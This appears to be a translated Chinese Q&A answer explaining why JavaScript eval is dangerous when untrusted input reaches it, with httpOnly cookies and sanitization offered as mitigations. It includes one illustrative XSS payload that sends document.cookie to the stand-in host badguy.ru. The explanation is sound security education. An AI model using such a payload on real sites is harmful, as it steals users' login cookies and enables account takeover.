没错,最终用户无论如何都可以通过浏览器的开发者控制台轻松执行任意 JavaScript(我一直这样做)。您必须担心的是攻击者劫持了您的功能,以eval
达到自己的目的。
原因eval
通常被认为是危险的,因为不受信任的代码很容易潜入。考虑一个允许您通过查询字符串指定输入的页面,其中输入框预先填充了查询字符串中的值。
攻击者可以传播包含窃取用户登录 cookie 的代码的链接:
/some/url?amount=var i=new Image();i.src='http://badguy.ru/x?' + document.cookie;
(显然需要正确的 URL 编码;这是为了说明。)
或者,当验证失败时,您的 PHP 脚本可能会将已发布的数据回显到您的表单中。攻击者可以创建一个特制的表单,使用相同的 cookie 窃取代码发布到您的表单。
这些攻击中的每一个都可以通过使用httpOnly
cookie(以防止登录 cookie 被盗)或确保数据被清理来缓解 - 但关键是这甚至还没有接近详尽的列出事情可能出错的原因。例如,注入的脚本仍然可以在金额字段中插入 1000 并尝试将该金额转移到攻击者的帐户(如果这是一个汇款页面)。
即使您使用正则表达式来清理输入这一事实也不一定能保护您:完全可以用括号编写任意 JavaScript !
所以底线是,如果您可以绝对确定输入进入您的文本字段的唯一方式是通过用户输入,那么您很好:用户没有获得他们无法做到的任何事情通过控制台。但是,如果攻击者能够以某种方式将他们自己的数据放入该字段,eval
那么它可能会使您暴露于漏洞中。
也可以看看: